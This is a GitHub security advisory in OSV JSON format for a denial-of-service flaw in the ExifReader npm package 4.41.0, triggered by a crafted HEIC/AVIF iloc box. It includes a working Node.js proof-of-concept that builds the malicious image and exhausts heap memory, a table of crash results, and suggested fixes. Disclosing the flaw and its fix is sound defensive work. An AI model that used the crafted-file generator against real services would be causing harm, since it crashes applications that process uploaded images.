{"id":"GHSA-pj96-35fp-cfcc","summary":"ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion","details":"## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require('fs');\nconst ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) & 255, (n \u003e\u003e\u003e 16) & 255, (n \u003e\u003e\u003e 8) & 255, n & 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) & 255, n & 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box('ftyp', [\n    ...str('heic'),\n    ...u32be(0),\n    ...str('mif1'),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box('iloc', ilocPayload);\nconst meta = box('meta', [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync('/tmp/poc_iloc_dos.heic', data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```","aliases":["CVE-2026-85715"],"modified":"2026-09-17T16:45:06.200769473Z","published":"2026-09-17T16:30:00Z","database_specific":{"github_reviewed_at":"2026-09-17T16:30:00Z","nvd_published_at":null,"cwe_ids":["CWE-789","CWE-835"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"},{"type":"WEB","url":"https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"},{"type":"PACKAGE","url":"https://github.com/mattiasw/ExifReader"},{"type":"WEB","url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"}],"affected":[{"package":{"name":"exifreader","ecosystem":"npm","purl":"pkg:npm/exifreader"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.41.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 4.41.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-pj96-35fp-cfcc/GHSA-pj96-35fp-cfcc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}